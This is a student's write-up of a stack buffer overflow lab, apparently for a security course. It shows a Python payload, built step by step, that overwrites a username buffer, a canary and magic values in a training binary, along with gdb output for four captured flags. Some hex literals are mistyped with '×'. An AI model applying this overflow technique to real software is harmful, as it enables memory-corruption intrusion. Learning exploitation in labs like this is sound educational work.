Kalle Jalkanen AB8822

Introduction

In this assignment goal is to find all flags from program that has stack buffer overflow vulnerability. At start I did not have glue how to approach this, so I used lot of time in google but found nothing. I attended to workshop, and I helped me to find first 3 flags firstly I did not have any clue why they work but afterwards it opened to me.

Working steps

From source code I saw that there is string comparison with string shirley, so I added that to python script.

```
Breakpoint 15, main (argc=1, argv=0xffffd044) at stack_1.c:32
32          if (strcmp(username, "shirley")) {
(gdb) i lo
paddy = 0
canary = "notabird."
flag = 0
username = "shirley", '\000' <repeats 12 times>
```

Then I saw that after Shirley null byte is repeated 12 times, so I added letter A 12 times after shirley. And from source code after print flag_1 I found 0xdeadc0de so I added that to script.

```
import sys
from struct import pack

exploit = b'shirley\x00'
exploit += b'A' * 12
exploit += pack('<L' , 0xdeadc0de)
```

When I ran it gave me flags 1-3. I think I reached flag_3 because all if statements were done before print flag_3. Somehow it jumped over canary comparison, maybe because there is not given value to it so it's 'notabird' by default.

```
Breakpoint 15, main (argc=1, argv=0xffffd044) at stack_1.c:32
32          if (strcmp(username, "shirley")) {
(gdb) c
Continuing.
Good work, flag_1 done
Good work, flag_2 done
Good work, flag_3 done
[Inferior 1 (process 553620) exited normally]
(gdb)
```

After that I tried to give canary value of 'notabird' and added that to script but it only gave value of 'tabird' so there must be fill before that. I added letter A 2 times before that.

```
exploit = b'shirley\x00'
exploit += b'A' * 12
exploit += pack('<L' , 0xdeadc0de)
exploit += b'A' * 2
exploit += b'notabird.\x00'
```

Then I tried to add 0xcafecafe to script and it needed padding of 12 A letters before that. It gave me flag_4 but also segmentation fault.

```
exploit += b'notabird.\x00'
exploit += b'A' * 12
exploit += pack('<L' , 0×cafecafe)
```

```
Continuing.
Good work, flag_1 done
Good work, flag_2 done
Good work, flag_3 done
Good work, flag_4 done

Program received signal SIGSEGV, Segmentation fault.
0×cafecafe in ?? ()
```

For flag_5 I tried to find that value from eip with command ‘i r’ and I put that value over 0xcafecafe but I was not able to get flag_5. I tried different brake points to get right eip value and different paddings before that. My best guess is that it is in 0x80493af but I miss some padding or something.

Results

At the end I got first 4 flags with this script. Time used to this assignment is little bit over 6 hours.

```
 GNU nano 7.2
import sys
from struct import pack

exploit = b'shirley\x00'
exploit += b'A' * 12
exploit += pack('<L' , 0×deadc0de)
exploit += b'A' * 2
exploit += b'notabird.\x00'
exploit += b'A' * 12
exploit += pack('<L' , 0×cafecafe)
```

System information

OS: Linux kali-vle 6.3.0-kali1-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.3.7-1kali1 (2023-06-29) x86_64 GNU/Linux

Program was compiled with makefile.

```
└─$ readelf -h stack_1
ELF Header:
  Magic:   7f 45 4c 46 01 01 01 00 00 00 00 00 00 00 00 00
  Class:                             ELF32
  Data:                              2's complement, little endian
  Version:                           1 (current)
  OS/ABI:                            UNIX - System V
  ABI Version:                       0
  Type:                              EXEC (Executable file)
  Machine:                           Intel 80386
  Version:                           0x1
  Entry point address:               0x80490d0
  Start of program headers:          52 (bytes into file)
  Start of section headers:          13664 (bytes into file)
  Flags:                             0x0
  Size of this header:               52 (bytes)
  Size of program headers:           32 (bytes)
  Number of program headers:         10
  Size of section headers:           40 (bytes)
  Number of section headers:         35
  Section header string table index: 34
```